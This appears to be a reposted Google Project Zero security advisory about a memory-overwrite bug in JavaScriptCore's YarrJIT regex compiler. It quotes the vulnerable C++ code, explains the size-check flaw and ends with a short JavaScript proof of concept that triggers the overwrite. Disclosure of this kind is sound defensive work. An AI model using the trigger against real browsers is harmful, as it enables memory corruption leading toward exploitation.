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JSC YarrJIT initParenContextFreeList Byte Overwrite

JSC YarrJIT initParenContextFreeList Byte Overwrite
Posted Jul 30, 2019
Authored by Google Security Research, lokihardt

A bug in JSC YarrJIT initParenContextFreeList allows for bytes to be overwritten.

tags | exploit
MD5 | 2a37630e39a3bad84adb54042489fea0

JSC YarrJIT initParenContextFreeList Byte Overwrite

Change Mirror Download
JSC: YarrJIT: A bug in initParenContextFreeList 



void initParenContextFreeList()
{
RegisterID parenContextPointer = regT0;
RegisterID nextParenContextPointer = regT2;

size_t parenContextSize = ParenContext::sizeFor(m_parenContextSizes);

parenContextSize = WTF::roundUpToMultipleOf<sizeof(uintptr_t)>(parenContextSize);

// Check that the paren context is a reasonable size.
if (parenContextSize > INT16_MAX)
m_abortExecution.append(jump());

Jump emptyFreeList = branchTestPtr(Zero, freelistRegister);
move(freelistRegister, parenContextPointer);
addPtr(TrustedImm32(parenContextSize), freelistRegister, nextParenContextPointer);
addPtr(freelistRegister, freelistSizeRegister);
subPtr(TrustedImm32(parenContextSize), freelistSizeRegister);

Label loopTop(this);
Jump initDone = branchPtr(Above, nextParenContextPointer, freelistSizeRegister);
storePtr(nextParenContextPointer, Address(parenContextPointer, ParenContext::nextOffset()));
move(nextParenContextPointer, parenContextPointer);
addPtr(TrustedImm32(parenContextSize), parenContextPointer, nextParenContextPointer);
jump(loopTop);

initDone.link(this);
storePtr(TrustedImmPtr(nullptr), Address(parenContextPointer, ParenContext::nextOffset()));
emptyFreeList.link(this);
}

class PatternContextBufferHolder {
public:
PatternContextBufferHolder(VM& vm, bool needBuffer)
: m_vm(vm)
, m_needBuffer(needBuffer)
{
if (m_needBuffer) {
m_buffer = m_vm.acquireRegExpPatternContexBuffer();
m_size = VM::patternContextBufferSize;
} else {
m_buffer = nullptr;
m_size = 0;
}
}


The method initParenContextFreeList tries to ensure that the size of the paren context doesn't get above INT16_MAX. This implies that the size of the buffer is equal to INT16_MAX. But the actual size is VM::patternContextBufferSize (8192) which is lower than that. So up to 24575 (INT16_MAX - 8192) bytes can be overwritten.

PoC:
let s = '';
for (let i = 0; i < 1000; i++) {
s += '(?:a){0,2}';
}

let r = new RegExp(s);
for (let i = 0; i < 1000; i++)
''.match(r);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: lokihardt@google.com

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